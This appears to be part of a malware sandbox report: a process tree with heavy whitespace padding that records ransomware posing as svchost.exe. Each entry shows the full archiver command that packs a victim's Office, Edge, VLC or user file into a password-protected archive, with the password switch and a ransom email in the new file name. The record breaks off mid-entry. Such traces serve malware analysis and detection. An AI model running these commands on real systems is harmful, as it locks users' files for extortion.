                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vreg\powerview.x-none.msi.16.x-none.vreg.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vreg\powerview.x-none.msi.16.x-none.vreg.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:3036
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vreg\proof.en-us.msi.16.en-us.vreg.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vreg\proof.en-us.msi.16.en-us.vreg.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3168
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vreg\proof.es-es.msi.16.es-es.vreg.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vreg\proof.es-es.msi.16.es-es.vreg.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2476
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vreg\proof.fr-fr.msi.16.fr-fr.vreg.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vreg\proof.fr-fr.msi.16.fr-fr.vreg.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5096
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vreg\proofing.msi.16.en-us.vreg.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vreg\proofing.msi.16.en-us.vreg.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1800
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vreg\word.x-none.msi.16.x-none.vreg.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vreg\word.x-none.msi.16.x-none.vreg.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2652
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vreg\wordmui.msi.16.en-us.vreg.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vreg\wordmui.msi.16.en-us.vreg.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4460
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\ThinAppXManifest.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\ThinAppXManifest.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:3668
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\MsEdgeCrashpad\settings.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\MsEdgeCrashpad\settings.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4464
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\MsEdgeCrashpad\throttle_store.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\MsEdgeCrashpad\throttle_store.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1132
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\SyncExport.jpeg(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\SyncExport.jpeg" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1112
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\UseRestore.tif(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\UseRestore.tif" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5204
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\VideoLAN\VLC\AUTHORS.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\VideoLAN\VLC\AUTHORS.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2672
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\VideoLAN\VLC\COPYING.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\VideoLAN\VLC\COPYING.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1264
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_18_b81900_40x40.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_18_b81900_40x40.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6064
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_20_666666_40x40.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_20_666666_40x40.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2088
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_flat_10_000000_40x100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_flat_10_000000_40x100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4620
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_100_f6f6f6_1x400.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_100_f6f6f6_1x400.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2216
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_100_fdf5ce_1x400.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_100_fdf5ce_1x400.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2676
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_65_ffffff_1x400.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_65_ffffff_1x400.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5948
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_gloss-wave_35_f6a828_500x100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_gloss-wave_35_f6a828_500x100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1460
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_100_eeeeee_1x100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_100_eeeeee_1x100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5544
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_75_ffe45c_1x100.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_75_ffe45c_1x100.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4992
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_222222_256x240.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_222222_256x240.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4764
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_228ef1_256x240.png(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_228ef1_256x240.png" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5228
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
